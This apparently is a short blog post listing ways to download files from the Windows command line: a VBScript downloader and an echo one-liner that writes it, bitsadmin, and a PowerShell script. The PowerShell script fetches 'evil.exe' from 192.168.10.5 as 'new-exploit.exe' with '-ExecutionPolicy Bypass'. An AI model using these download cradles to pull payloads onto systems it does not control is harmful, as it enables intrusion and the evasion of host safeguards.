windows command shell download file

[Platform]: windows 2008 x64 standard

How to download a file with windows command shell ?

Method 1

Save the code to a file called “download.vbs”, and execute the following command:

C:\Users\Administrator\Desktop>cscript.exe download.vbs

Code Here:

' Set your settings                             
    strFileURL = "http://path/to/file"                                          
    strHDLocation = "c:\path\local\file"                                                    

' Fetch the file                                
    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")                                                 

    objXMLHTTP.open "GET", strFileURL, false                                                        
    objXMLHTTP.send()                           

If objXMLHTTP.Status = 200 Then                 
Set objADOStream = CreateObject("ADODB.Stream")                                                     
objADOStream.Open                               
objADOStream.Type = 1 'adTypeBinary                                                                 

objADOStream.Write objXMLHTTP.ResponseBody                                                          
objADOStream.Position = 0    'Set the stream position to the start                                  

Set objFSO = Createobject("Scripting.FileSystemObject")                                             
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation                            
Set objFSO = Nothing                            

objADOStream.SaveToFile strHDLocation                                                               
objADOStream.Close                              
Set objADOStream = Nothing                      
End if                                          

Set objXMLHTTP = Nothing 
echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^"Msxml2.XMLHTTP^"):Set Shell = CreateObject(^"Wscript.Shell^"):Post.Open ^"GET^",strUrl,0:Post.Send():Set aGet = CreateObject(^"ADODB.Stream^"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > download.vbs

Method 2

C:\Users\Administrator\Desktop>bitsadmin /transfer systemrepair  /download /priority normal http://path/to/file c:\path\local\file 

Method 3

Download File with powershell.

echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >> wget.ps1
echo $url = "http://192.168.10.5/evil.exe" >> wget.ps1
echo $file = "new-exploit.exe" >> wget.ps1
echo $webclient.DownloadFile($url, $file) >> wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

References

  1. http://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值